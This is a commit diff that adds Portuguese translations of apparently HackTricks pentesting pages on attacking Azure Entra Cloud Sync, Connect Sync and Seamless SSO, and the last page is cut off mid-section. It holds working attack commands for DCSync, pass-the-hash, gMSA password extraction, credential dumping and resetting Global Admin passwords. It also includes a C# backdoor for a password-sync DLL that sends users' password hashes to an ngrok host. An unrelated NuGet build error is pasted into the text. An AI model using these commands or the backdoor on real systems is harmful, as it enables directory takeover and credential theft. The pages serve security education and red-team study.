mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**Cloud Sync** é basicamente a nova maneira do Azure de **sincronizar os usuários do AD para o Entra ID**.
|
||||
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos com o Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.
|
||||
|
||||
### Principais Gerados
|
||||
|
||||
Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório local:
|
||||
|
||||
- No Entra ID, o usuário `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) é criado com a função **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para [**escalar privilégios até o administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
|
||||
|
||||
- No Entra ID, também é criado o grupo **`AAD DC Administrators`** sem membros ou proprietários. Este grupo é útil se [`Microsoft Entra Domain Services`](./az-domain-services.md) for utilizado.
|
||||
|
||||
- No AD, ou a Conta de Serviço **`provAgentgMSA`** é criada com um SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou uma personalizada com [**essas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente, a padrão é criada.
|
||||
|
||||
> [!WARNING]
|
||||
> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** tem permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios diretamente **podem ser sincronizados**.
|
||||
|
||||
## Sincronização de Senhas
|
||||
|
||||
Esta seção é muito semelhante à de:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **A sincronização de hash de senha** pode ser habilitada para que os usuários possam **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
|
||||
- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID, sincronizando automaticamente sua senha no domínio local. Mas de acordo com os [documentos atuais](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações.
|
||||
- **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD local. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório do Entra ID (geralmente apenas alguns minutos)**.
|
||||
|
||||
Então você poderia, por exemplo:
|
||||
- Comprometer a conta **`provAgentgMSA`**, realizar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
|
||||
- Apenas criar um novo usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-lo para fazer login no Entra ID.
|
||||
- Modificar a senha de algum usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-la para fazer login no Entra ID.
|
||||
|
||||
Para comprometer as credenciais de **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Agora você poderia usar o hash do gMSA para realizar um ataque Pass-the-Hash contra o Entra ID usando a conta `provAgentgMSA` e manter a persistência, podendo realizar ataques DCSync contra o AD.
|
||||
|
||||
Para mais informações sobre como comprometer um Active Directory, consulte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note que não há como atribuir funções do Azure ou EntraID a usuários sincronizados com base em seus atributos, por exemplo, nas configurações de Cloud Sync. No entanto, para conceder permissões automaticamente a usuários sincronizados, alguns **grupos do Entra ID do AD** podem receber permissões, de modo que os usuários sincronizados dentro desses grupos também as recebam, ou **grupos dinâmicos podem ser usados**, então sempre verifique as regras dinâmicas e possíveis maneiras de abusar delas:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Quanto à persistência, [este post de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugere que é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para backdoor a dll **`Microsoft.Online.Passwordsynchronisation.dll`** localizada em **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que é usada pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe **`PasswordHashGenerator`** e o post do blog sugere adicionar algum código para que a classe fique assim (note o `use System.Net` e o uso de `WebClient` para exfiltrar os hashes de senha):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conecte-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente.
|
||||
|
||||
- Neste momento, o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Esses grupos podem conter apenas usuários sincronizados on-premises e / ou grupos de segurança criados na nuvem adicionais.
|
||||
> - As contas de usuário on-premises que são sincronizadas e são membros deste grupo de segurança criado na nuvem podem ser do mesmo domínio ou de domínios diferentes, mas todos devem ser da mesma floresta.
|
||||
|
||||
Portanto, a superfície de ataque (e a utilidade) deste serviço é bastante reduzida, pois um atacante precisaria comprometer o AD inicial de onde os usuários estão sendo sincronizados para comprometer um usuário no outro domínio (e ambos devem estar na mesma floresta, aparentemente).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,203 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID.
|
||||
|
||||
Para usá-lo, é necessário instalar o **`Microsoft Entra Connect Sync`** agente em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O **Connect Sync** é basicamente a maneira "antiga" de **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principais Gerados
|
||||
|
||||
- A conta **`MSOL_<installationID>`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
|
||||
- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local.
|
||||
- Uma conta de serviço gerenciada **`ADSyncMSA<id>`** é criada no AD local sem privilégios padrão especiais.
|
||||
- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_<id>`** é criado com um certificado.
|
||||
|
||||
## Sincronizar Senhas
|
||||
|
||||
### Sincronização de Hash de Senha
|
||||
|
||||
Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário permitir a sincronização de hash de senha no agente Microsoft Entra Connect Sync instalado em um servidor AD.
|
||||
|
||||
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
|
||||
|
||||
Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.
|
||||
|
||||
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
|
||||
|
||||
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**.
|
||||
|
||||
### Escrita de Senha
|
||||
|
||||
Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Observe que, para a escrita de senha funcionar, o usuário `MSOL_<id>` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
|
||||
|
||||
Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
|
||||
|
||||
Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que foram atribuídos a altos privilégios dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
|
||||
|
||||
- Usuários atribuídos a altos privilégios diretamente.
|
||||
- Usuários do grupo **`DNSAdmins`**.
|
||||
- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram.
|
||||
- Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory.
|
||||
- Usuários de qualquer outro grupo com altos privilégios sem o **atributo `adminCount` igual a 1**.
|
||||
|
||||
## Pivotando AD --> Entra ID
|
||||
|
||||
### Enumerando Connect Sync
|
||||
|
||||
Verifique os usuários:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Verifique a **configuração do Connect Sync** (se houver):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Encontrando as senhas
|
||||
|
||||
As senhas do **`MSOL_*`** usuário (e do **Sync\_\*** usuário, se criado) estão **armazenadas em um servidor SQL** no servidor onde **Entra ID Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
|
||||
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível obter privilégios elevados no AD e no AzureAD.
|
||||
|
||||
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Abusando do MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais.
|
||||
|
||||
|
||||
### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft password reset service
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\
|
||||
De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele.
|
||||
|
||||
Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi publicado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
|
||||
|
||||
Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Na minha experiência, o certificado não está mais armazenado no local onde a ferramenta anterior estava procurando, e, portanto, a ferramenta não funciona mais. Assim, mais pesquisas podem ser necessárias.
|
||||
|
||||
### Abusando Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Anteriormente, um usuário chamado `Sync_*` foi criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia realizar ações privilegiadas, como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um principal de serviço. No entanto, a partir de jan2025, esse usuário não é mais criado por padrão, pois agora o Aplicativo/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** é usado. No entanto, ele ainda pode estar presente em alguns ambientes, então vale a pena verificar.
|
||||
|
||||
Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
É também possível despejar a senha deste usuário.
|
||||
|
||||
> [!CAUTION]
|
||||
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
|
||||
|
||||
### SSO Sem Costura
|
||||
|
||||
É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Verifique em:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivotando Entra ID --> AD
|
||||
|
||||
- Se a gravação de senha estiver habilitada, você pode **modificar a senha de qualquer usuário no AD** que está sincronizado com Entra ID.
|
||||
- Se a gravação de grupos estiver habilitada, você pode **adicionar usuários a grupos privilegiados** no Entra ID que estão sincronizados com o AD.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,23 +4,72 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais no local.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**.
|
||||
Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio local**.
|
||||
|
||||
É suportado tanto por [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) quanto por [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md).
|
||||
|
||||
O SSO de desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada AZUREADSSOACC`$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Azure AD** durante a configuração.
|
||||
O SSO de Desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD local. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Entra ID** durante a configuração.
|
||||
|
||||
Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Azure AD usa a senha enviada para descriptografar os tickets.
|
||||
Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID usa a senha enviada para descriptografar os tickets.
|
||||
|
||||
**Azure AD** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
|
||||
**Entra ID** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
|
||||
|
||||
### On-prem -> nuvem
|
||||
### Enumeração
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar silver tickets** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos em nuvem.\
|
||||
> Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem.
|
||||
|
||||
Para obter esse ticket TGS, o atacante precisa ter um dos seguintes:
|
||||
- **Um TGS de um usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos em nuvem.
